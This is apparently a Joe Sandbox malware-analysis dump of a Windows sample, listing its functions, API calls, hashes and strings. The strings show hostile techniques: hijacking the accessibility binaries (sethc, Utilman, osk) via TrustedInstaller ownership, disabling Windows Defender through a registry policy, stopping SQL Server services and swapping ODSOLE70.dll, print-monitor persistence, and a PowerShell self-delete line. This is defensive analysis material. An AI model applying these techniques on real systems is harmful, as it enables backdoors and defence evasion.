Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfigManager
String ID:
API String ID: 3054356760-0
Opcode ID: 86ed0b4e521d060638262c8c9238eca91ef53d93ce092943f6cb6c31e34f952e
Instruction ID: e17e094bdabe0a00394cc945729b2acfd8fcb19148aad4e1b7d5f84329dc5728
Opcode Fuzzy Hash: 86ed0b4e521d060638262c8c9238eca91ef53d93ce092943f6cb6c31e34f952e
Instruction Fuzzy Hash: 03515371F40305B7EB10AFA18C87FEEBA70EF19704F140529F7247A2D2E2BA55509B99

Function 0040111E Relevance: 48.6, APIs: 4, Strings: 23, Instructions: 1346COMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 0040173C
Wow64DisableWow64FsRedirection.KERNEL32(00000000), ref: 00401AF8

Part of subcall function 00406FA4: GetNamedSecurityInfoA.ADVAPI32(00000000,00000000,00000004,00000000,00000000,00000000,00000000,00000000), ref: 00407093

Part of subcall function 00406FA4: BuildExplicitAccessWithNameA.ADVAPI32(00000000,00000003,?,?,00401B68), ref: 00407157

Wow64RevertWow64FsRedirection.KERNEL32(00000000,00000000,?,00000001,00000001,00000001,A0000000,00000001,00000000,?,00000001,00000000,?,00000001,00000001,00000001), ref: 00401EA1
MoveFileExA.KERNEL32(00000001,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401F4B

Strings

427561657962757440627966797C75777563B24B112A4, xrefs: 0040133D
SYSTEM, xrefs: 00401B1E, 00401B88, 00401BD6, 00401C23, 00401C62, 00401CAF, 00401CEE, 00401D3B, 00401D7A, 00401DC7, 00401E06, 00401E53
437544737240627966797C757775B24B112A4, xrefs: 004013DF
43755378717E77755E7F6479766940627966797C757775B24B112A4, xrefs: 00401532
437551636379777E4062797D716269447F7B757E40627966797C757775B24B112A4, xrefs: 004015A3
4375597D607562637F7E71647540627966797C757775B24B112A4, xrefs: 00401450
437543786564747F677E40627966797C757775B24B112A4, xrefs: 00401685
4375516574796440627966797C757775B24B112A4, xrefs: 004014C1
C:\Windows\system32\Utilman.exe, xrefs: 00401E12, 00401E5F
cmd.exe, xrefs: 004016F7
NT SERVICE\TrustedInstaller, xrefs: 00401BAF
532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4, xrefs: 004011EA
C:\Windows\system32\Narrator.exe, xrefs: 00401D86, 00401DD3
C:\Windows\system32\osk.exe, xrefs: 00401C6E, 00401CBB
C:\Windows\system32\sethc.exe, xrefs: 00401BE2, 00401C2F
SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware, xrefs: 00401ABF
C:\Windows\system32\Magnify.exe, xrefs: 00401CFA, 00401D47
532A4C47797E747F67634C5C7F7763B24B112A4, xrefs: 0040125B
585B55494F5C5F53515C4F5D515358595E554C43494344555D4C53656262757E64537F7E64627F7C4375644C43756266797375634C43607F7F7C7562B24B112A4, xrefs: 004012CC
WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del ", xrefs: 00401FDF
Service, xrefs: 00401B53
43755C7F717454627966756240627966797C757775B24B112A4, xrefs: 00401614
Spooler, xrefs: 00401978, 004019B4, 004019DE

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Wow64$Redirection$AccessAdminBuildDisableExplicitFileInfoMoveNameNamedRevertSecurityUserWith
String ID: 427561657962757440627966797C75777563B24B112A4$437543786564747F677E40627966797C757775B24B112A4$437544737240627966797C757775B24B112A4$437551636379777E4062797D716269447F7B757E40627966797C757775B24B112A4$4375516574796440627966797C757775B24B112A4$43755378717E77755E7F6479766940627966797C757775B24B112A4$4375597D607562637F7E71647540627966797C757775B24B112A4$43755C7F717454627966756240627966797C757775B24B112A4$532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4$532A4C47797E747F67634C5C7F7763B24B112A4$585B55494F5C5F53515C4F5D515358595E554C43494344555D4C53656262757E64537F7E64627F7C4375644C43756266797375634C43607F7F7C7562B24B112A4$C:\Windows\system32\Magnify.exe$C:\Windows\system32\Narrator.exe$C:\Windows\system32\Utilman.exe$C:\Windows\system32\osk.exe$C:\Windows\system32\sethc.exe$NT SERVICE\TrustedInstaller$SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware$SYSTEM$Service$Spooler$WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "$cmd.exe
API String ID: 913294622-3110396964
Opcode ID: 7f7f060a3f29d752b8001e4ac61d6dba0b1f6fb4126608eb775f3e54c124bce3
Instruction ID: 1ce2f891ed753d59728e8ddd97bbf349bb081486d62117ebd2da2dc4015c06fa
Opcode Fuzzy Hash: 7f7f060a3f29d752b8001e4ac61d6dba0b1f6fb4126608eb775f3e54c124bce3
Instruction Fuzzy Hash: 6BA20FB1E003056BEB10DFE19DC2BDFB6B8AF18704F14003AF615B7392E6B9A9458759

Function 00404125 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040479D: RegOpenKeyExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 004048BB

MoveFileExA.KERNEL32(00000000,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00404234
MoveFileExA.KERNEL32(00000000,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00404334
OpenProcess.KERNEL32(00000400,00000000,00000000,00000000,00000000,00000000,?), ref: 004043E9

Part of subcall function 004125A0: GetStartupInfoA.KERNEL32 ref: 004125B2

Part of subcall function 004125A0: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 00412631
Part of subcall function 004125A0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041264A
Part of subcall function 004125A0: CloseHandle.KERNEL32(?), ref: 0041265B
Part of subcall function 004125A0: CloseHandle.KERNEL32(?), ref: 00412662

MoveFileExA.KERNEL32(00000000,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004046FD

Strings

sqlservr.exe, xrefs: 00404364, 004043AD
SOFTWARE\Wow6432Node\Microsoft\MSSQLServer\Setup\SQLPath, xrefs: 00404258, 0040428B
SOFTWARE\Microsoft\MSSQLServer\Setup\SQLPath, xrefs: 00404158, 0040418B
sc stop sqlserveragent, xrefs: 0040463E
ODSOLE70.dll, xrefs: 0040456A, 004045C5, 00404685, 004046D3
sc stop mssqlserver, xrefs: 0040466E
\Binn\ODSOLE70.dll, xrefs: 004041CC, 004042CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: FileMove$CloseHandleOpenProcess$CreateInfoObjectSingleStartupWait
String ID: ODSOLE70.dll$SOFTWARE\Microsoft\MSSQLServer\Setup\SQLPath$SOFTWARE\Wow6432Node\Microsoft\MSSQLServer\Setup\SQLPath$\Binn\ODSOLE70.dll$sc stop mssqlserver$sc stop sqlserveragent$sqlservr.exe
API String ID: 3643350986-4100267665
Opcode ID: f29ad517dac106c1ebcca37e7bed92ffe76a07b2d21207c943239eb48fc8b0d0
Instruction ID: c97dcc31cab650326d67d6f817989b36f08dea8609378b4affe82b01b5d935f8
Opcode Fuzzy Hash: f29ad517dac106c1ebcca37e7bed92ffe76a07b2d21207c943239eb48fc8b0d0
Instruction Fuzzy Hash: 58F134F1F40305ABEB10AFA19C86BAFB6B4AB14704F14403AFB14BA3C1E77D59548B59

Function 00424358 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,0048186C,00000000,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 00424367
GlobalAlloc.KERNELBASE(00002002,?,?,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 004243BC
GlobalHandle.KERNEL32(?), ref: 004243C5
GlobalUnlock.KERNEL32(00000000,?,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 004243CE
GlobalReAlloc.KERNEL32(00000000,?,00002002), ref: 004243E0
GlobalHandle.KERNEL32(?), ref: 004243F7
GlobalLock.KERNEL32(00000000,?,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 004243FE
LeaveCriticalSection.KERNEL32(00415FC2,?,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 00424404
GlobalLock.KERNEL32(00000000,?,?,?,?,004246F3,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142,?,00000000), ref: 00424413
LeaveCriticalSection.KERNEL32(?), ref: 0042445C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 0127f593510c500bad5a19e5deb92bd906514111ec099e58393b851f20211ddb
Instruction ID: 8aab254d2d6383ec477fda122a9d19c6126f7c42cc8016c29c23492cb18c8506
Opcode Fuzzy Hash: 0127f593510c500bad5a19e5deb92bd906514111ec099e58393b851f20211ddb
Instruction Fuzzy Hash: 803170753003159FD734EF28EC89A2AB7E9FF84305B414A6EF852C3661E775E8058B28

Function 00407465 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 287
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyA.ADVAPI32(80000005,?,00000000), ref: 00407709
RegOpenKeyA.ADVAPI32(80000005,?,00000000), ref: 004077D5

Strings

HKEY_LOCAL_MACHINE, xrefs: 004075CA
HKEY_USERS, xrefs: 004075EF
HKEY_CURRENT_CONFIG, xrefs: 00407627
HKEY_CURRENT_USER, xrefs: 004075A5
HKEY_CLASSES_ROOT, xrefs: 00407580

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID: HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS
API String ID: 436179556-3507829934
Opcode ID: dafee2cdb58deb3968d12da7b4d9ffb58793c9e72ee7aacb37c2000984efae4f
Instruction ID: 55032176a49396726a69872eaa4a5c788db7ce1d9a07f0da53a886ed5c3d8c36
Opcode Fuzzy Hash: dafee2cdb58deb3968d12da7b4d9ffb58793c9e72ee7aacb37c2000984efae4f
Instruction Fuzzy Hash: EAA184B0E44208FBEF109F95DC85BAE7B74EB14704F10407AFA05BA2C2D7795A64CB5A

Function 0040479D Relevance: 9.3, APIs: 6, Instructions: 262
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 004048BB
RegCloseKey.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00404984

Part of subcall function 0040509E: GetModuleHandleA.KERNEL32(advapi32.dll,?,?,?,?,?,?,?,?,?,?,?,?,00404919,00000000), ref: 004050B1
Part of subcall function 0040509E: GetProcAddress.KERNEL32(00404919,RegDisableReflectionKey), ref: 004050E5

RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 0040493D
RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000), ref: 004049F9
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 00404A73
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 00404AB2

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue$AddressHandleModuleProc
String ID:
API String ID: 3799482973-0
Opcode ID: db48f9f6ebb12aa742625f68f76cfd25cb3b40e850cc4543736ef9a4086accfd
Instruction ID: 5a17ee3858bf481d0e3f1220d29cf2d838dccf3282e9be0b1371942125d65f53
Opcode Fuzzy Hash: db48f9f6ebb12aa742625f68f76cfd25cb3b40e850cc4543736ef9a4086accfd
Instruction Fuzzy Hash: C09150B1E40308ABEF10EFA1DC46BDEB7B4EB58305F14003AF615B62D1D3799A548B69

Function 00422CC3 Relevance: 9.0, APIs: 6, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00422CD0
GetSystemMetrics.USER32(0000000C), ref: 00422CD7
GetDC.USER32(00000000), ref: 00422CF0
GetDeviceCaps.GDI32(00000000,00000058), ref: 00422D01
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00422D09
ReleaseDC.USER32(00000000,00000000), ref: 00422D11

Part of subcall function 00425142: GetSystemMetrics.USER32(00000002), ref: 00425154
Part of subcall function 00425142: GetSystemMetrics.USER32(00000003), ref: 0042515E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: 58fd7414b32231fc3999aa020281d2faf26c3d3cbbe9ab7a0a470a95ac0c2247
Instruction ID: c2f00a3d5fdde37ba986a7d1f9d9768e95cd530e76743671f0e1072fcf87ce4f
Opcode Fuzzy Hash: 58fd7414b32231fc3999aa020281d2faf26c3d3cbbe9ab7a0a470a95ac0c2247
Instruction Fuzzy Hash: 40F05470740710AEE330AB739C49F2BB7A8EB80752F51442FE60196290CAB59806CF69

Function 004122B0 Relevance: 7.6, APIs: 5, Instructions: 150
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ftol.LIBCMT ref: 0041235A
__ftol.LIBCMT ref: 00412372
RegCreateKeyExA.KERNELBASE(?,?,00000000,00000000,00000000,00020006,00000000,?,00000000,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000), ref: 0041242A
RegSetValueExA.KERNELBASE(?,00000000,00000000,?,?,00000004,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000,80000004,00000001,00000000), ref: 00412443
RegCloseKey.KERNELBASE(?,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000,80000004,00000001,00000000,80000301), ref: 0041245A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: __ftol$CloseCreateValue
String ID:
API String ID: 2774032030-0
Opcode ID: 9f98cb8ec78949114baaf8a5ab62a8b75c2ea6decac24706aa50e6b0cedf9779
Instruction ID: b984de1a1919fcad77cd1d7f8eb68b2dc12c57c70fcd02c8248448e6fe3004bd
Opcode Fuzzy Hash: 9f98cb8ec78949114baaf8a5ab62a8b75c2ea6decac24706aa50e6b0cedf9779
Instruction Fuzzy Hash: 4C4101706043059BE7209F25C980BAFB7E4EB88314F24881EFE99C7351C6BDDC958B5A

Function 00424301 Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE(00000000,?,?,0042480E,00000000,00000001), ref: 0042430D
GlobalHandle.KERNEL32(?), ref: 00424335
GlobalUnlock.KERNEL32(00000000,?,?,0042480E,00000000,00000001), ref: 0042433E
GlobalFree.KERNEL32(00000000), ref: 00424345
DeleteCriticalSection.KERNEL32(?,?,?,0042480E,00000000,00000001), ref: 0042434F

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Global$Free$CriticalDeleteHandleSectionUnlock
String ID:
API String ID: 2159622880-0
Opcode ID: fda07430e012b63aa60b2b48a480db4e6abbd7e04134be121482eac2c94259ad
Instruction ID: 06da3236861329085779746996271014dfdca6d59606011e85683ecbaf80b31e
Opcode Fuzzy Hash: fda07430e012b63aa60b2b48a480db4e6abbd7e04134be121482eac2c94259ad
Instruction Fuzzy Hash: 0FF05E353002209BD630AF38FC08A6B76ACEFC4725796056AFD55D32A1CB68EC428678

Function 00403B74 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AddMonitorA.WINSPOOL.DRV(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403D6C

Strings

RunDllExe, xrefs: 00403C99, 00403C9E
532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4, xrefs: 00403BD6
43494344555D4C53656262757E64537F7E64627F7C4375644C537F7E64627F7C4C4062797E644C5D7F7E79647F62634C42657E547C7C5568754C546279667562B24B112A4, xrefs: 00403C47

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Monitor
String ID: 43494344555D4C53656262757E64537F7E64627F7C4375644C537F7E64627F7C4C4062797E644C5D7F7E79647F62634C42657E547C7C5568754C546279667562B24B112A4$532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4$RunDllExe
API String ID: 782802969-438707016
Opcode ID: bb12d1dce6399197d69f1faad43f4ebf0cb1b3b02c26783f8453f2720b00a02c
Instruction ID: 4c02a48247de47f5e9654efd67ae488dec4c642fdd0146ce0b682ca6742a4d8c
Opcode Fuzzy Hash: bb12d1dce6399197d69f1faad43f4ebf0cb1b3b02c26783f8453f2720b00a02c
Instruction Fuzzy Hash: 5F8123B1E003056BEB10DFA5DCC2B9F77A8AF18704F14047AEB15F7382E6799A448769

Function 00411B80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(0041209D,00000001), ref: 00411B89
RtlAllocateHeap.NTDLL(005B0000,00000000,00000001,?,0041209D,00000001), ref: 00411B9D
MessageBoxA.USER32(00000000,00468978,error,00000010), ref: 00411BB6

Strings

error, xrefs: 00411BAB

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 6ceb9042405ece3b877fd231095033ba52e3612cb1143ab64d10410865cb4aba
Instruction ID: 885dcd4e3f7bf8c073679f10bf83750186f6a1667effd3920bdaae9f4ca52eda
Opcode Fuzzy Hash: 6ceb9042405ece3b877fd231095033ba52e3612cb1143ab64d10410865cb4aba
Instruction Fuzzy Hash: E1E0D8B17402106BD7309B60BC09FBB3694AB04741F014129FA45E2351FA78BC418B5E

Function 0040BE49 Relevance: 6.1, APIs: 4, Instructions: 73
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST(00000000,00000000,80000000), ref: 0040BE74
OpenServiceA.ADVAPI32(00000000,?,80000000), ref: 0040BEB7
CloseServiceHandle.SECHOST(00000000), ref: 0040BEE6
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BF12

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$Manager
String ID:
API String ID: 4196757001-0
Opcode ID: 10cbbc8526dddbbd640ba8066bb0d6de6c021a7328ac6fea6a8552e90f7f1f04
Instruction ID: 9a579e054141d0ec15dd225ae413d80d8c789cc6a4bfd918c4e1f4c917c72284
Opcode Fuzzy Hash: 10cbbc8526dddbbd640ba8066bb0d6de6c021a7328ac6fea6a8552e90f7f1f04
Instruction Fuzzy Hash: 1C214230E40308FBDB109FA1DC46B9EBB71EB15705F0084A6F524BA2D0D37A4650DF99

Function 00425122 Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,?,?,0042511D), ref: 00425199
GetProcessVersion.KERNELBASE(00000000,?,?,?,0042511D), ref: 004251D6
LoadCursorA.USER32(00000000,00007F02), ref: 00425204
LoadCursorA.USER32(00000000,00007F00), ref: 0042520F

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
